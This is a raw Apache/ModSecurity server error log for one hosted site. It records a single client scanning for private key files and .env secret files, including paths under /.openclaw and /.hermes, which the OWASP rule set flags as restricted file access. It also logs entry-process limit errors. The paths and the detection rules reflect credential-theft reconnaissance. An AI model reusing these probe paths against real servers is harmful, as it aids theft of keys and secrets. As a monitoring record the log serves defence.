[Fri Jul 17 07:54:28.697079 2026] [security2:error] [pid 1993671:tid 1993671] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSWQ5GPQ6hs4VrfMo3RQAAAAY"]
[Fri Jul 17 07:54:28.765415 2026] [hostinglimits:warn] [pid 1993675:tid 1993675] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993675) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:28.913731 2026] [hostinglimits:warn] [pid 1994446:tid 1994446] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1994446) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:28.973426 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:28.975258 2026] [security2:error] [pid 1994967:tid 1994967] [client 104.28.219.191:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "ajsstarlog.com"] [uri "/server.key"] [unique_id "almSXEhq6UAnqYko0LpQNAAAABE"]
[Fri Jul 17 07:54:28.975625 2026] [security2:error] [pid 1994967:tid 1994967] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ajsstarlog.com"] [uri "/server.key"] [unique_id "almSXEhq6UAnqYko0LpQNAAAABE"]
[Fri Jul 17 07:54:28.975810 2026] [hostinglimits:warn] [pid 1994967:tid 1994967] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1994967) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:28.975974 2026] [security2:error] [pid 1994967:tid 1994967] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSXEhq6UAnqYko0LpQNAAAABE"]
[Fri Jul 17 07:54:29.032349 2026] [security2:error] [pid 1993574:tid 1993574] [client 104.28.219.191:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "ajsstarlog.com"] [uri "/privatekey.key"] [unique_id "almSXd0t9Kb_MdNxrg64VwAAAAM"]
[Fri Jul 17 07:54:29.032728 2026] [security2:error] [pid 1993574:tid 1993574] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ajsstarlog.com"] [uri "/privatekey.key"] [unique_id "almSXd0t9Kb_MdNxrg64VwAAAAM"]
[Fri Jul 17 07:54:29.032953 2026] [hostinglimits:warn] [pid 1993574:tid 1993574] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993574) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:29.033083 2026] [security2:error] [pid 1993574:tid 1993574] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSXd0t9Kb_MdNxrg64VwAAAAM"]
[Fri Jul 17 07:54:29.119439 2026] [hostinglimits:warn] [pid 1994446:tid 1994446] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1994446) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:29.147457 2026] [security2:error] [pid 1993998:tid 1993998] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSWWidQp3SsqeycPEmRwAAAAo"]
[Fri Jul 17 07:54:29.178766 2026] [security2:error] [pid 1994967:tid 1994967] [client 104.28.219.191:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "ajsstarlog.com"] [uri "/localhost.key"] [unique_id "almSXUhq6UAnqYko0LpQNQAAABE"]
[Fri Jul 17 07:54:29.179128 2026] [security2:error] [pid 1994967:tid 1994967] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ajsstarlog.com"] [uri "/localhost.key"] [unique_id "almSXUhq6UAnqYko0LpQNQAAABE"]
[Fri Jul 17 07:54:29.272822 2026] [security2:error] [pid 1993574:tid 1993574] [client 104.28.219.191:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "ajsstarlog.com"] [uri "/host.key"] [unique_id "almSXd0t9Kb_MdNxrg64WAAAAAM"]
[Fri Jul 17 07:54:29.272922 2026] [security2:error] [pid 1993675:tid 1993675] [client 104.28.219.191:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "ajsstarlog.com"] [uri "/ssl/server.key"] [unique_id "almSXTiSeFVxYLkcq6IWvgAAAAc"]
[Fri Jul 17 07:54:29.273224 2026] [security2:error] [pid 1993574:tid 1993574] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ajsstarlog.com"] [uri "/host.key"] [unique_id "almSXd0t9Kb_MdNxrg64WAAAAAM"]
[Fri Jul 17 07:54:29.273257 2026] [security2:error] [pid 1993675:tid 1993675] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ajsstarlog.com"] [uri "/ssl/server.key"] [unique_id "almSXTiSeFVxYLkcq6IWvgAAAAc"]
[Fri Jul 17 07:54:29.273412 2026] [hostinglimits:warn] [pid 1993675:tid 1993675] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993675) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:29.273412 2026] [hostinglimits:warn] [pid 1993574:tid 1993574] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993574) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:29.273548 2026] [security2:error] [pid 1993574:tid 1993574] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSXd0t9Kb_MdNxrg64WAAAAAM"]
[Fri Jul 17 07:54:29.273558 2026] [security2:error] [pid 1993675:tid 1993675] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSXTiSeFVxYLkcq6IWvgAAAAc"]
[Fri Jul 17 07:54:29.327137 2026] [security2:error] [pid 1994446:tid 1994446] [client 104.28.219.191:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "ajsstarlog.com"] [uri "/ssl/localhost.key"] [unique_id "almSXV2NhE8i6ppze4enWwAAAAs"]
[Fri Jul 17 07:54:29.327572 2026] [security2:error] [pid 1994446:tid 1994446] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ajsstarlog.com"] [uri "/ssl/localhost.key"] [unique_id "almSXV2NhE8i6ppze4enWwAAAAs"]
[Fri Jul 17 07:54:29.327774 2026] [hostinglimits:warn] [pid 1994446:tid 1994446] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1994446) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:29.327937 2026] [security2:error] [pid 1994446:tid 1994446] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSXV2NhE8i6ppze4enWwAAAAs"]
[Fri Jul 17 07:54:29.386542 2026] [hostinglimits:warn] [pid 1993998:tid 1993998] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993998) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:29.446028 2026] [security2:error] [pid 1993671:tid 1993671] [client 104.28.219.191:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.openclaw/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ajsstarlog.com"] [uri "/.openclaw/.env"] [unique_id "almSXQ5GPQ6hs4VrfMo3SAAAAAY"]
[Fri Jul 17 07:54:29.446505 2026] [security2:error] [pid 1993671:tid 1993671] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ajsstarlog.com"] [uri "/.openclaw/.env"] [unique_id "almSXQ5GPQ6hs4VrfMo3SAAAAAY"]
[Fri Jul 17 07:54:29.446856 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:29.447143 2026] [security2:error] [pid 1993671:tid 1993671] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSXQ5GPQ6hs4VrfMo3SAAAAAY"]
[Fri Jul 17 07:54:29.463407 2026] [security2:error] [pid 1993668:tid 1993668] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSWRAi3pC6yjXGNq12hgAAAAU"]
[Fri Jul 17 07:54:29.613642 2026] [hostinglimits:warn] [pid 1994446:tid 1994446] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1994446) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:29.804281 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:29.850501 2026] [security2:error] [pid 1993570:tid 1993570] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSWnjA8yK8B7kryx3a8wAAAAk"]
[Fri Jul 17 07:54:29.863465 2026] [security2:error] [pid 1993668:tid 1993668] [client 104.28.219.191:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.hermes/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ajsstarlog.com"] [uri "/.hermes/.env"] [unique_id "almSXRAi3pC6yjXGNq12hwAAAAU"]
[Fri Jul 17 07:54:29.863693 2026] [security2:error] [pid 1993668:tid 1993668] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ajsstarlog.com"] [uri "/.hermes/.env"] [unique_id "almSXRAi3pC6yjXGNq12hwAAAAU"]
[Fri Jul 17 07:54:29.863926 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1007) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/dc747693fba2ae3c2285031c58075d1c35403f8e.sock|fcgi://ajsstarlog.com) HOSTNAME(ajsstarlog.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 07:54:29.864131 2026] [security2:error] [pid 1993668:tid 1993668] [client 104.28.219.191:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ajsstarlog.com"] [uri "/index.php"] [unique_id "almSXRAi3pC6yjXGNq12hwAAAAU"]
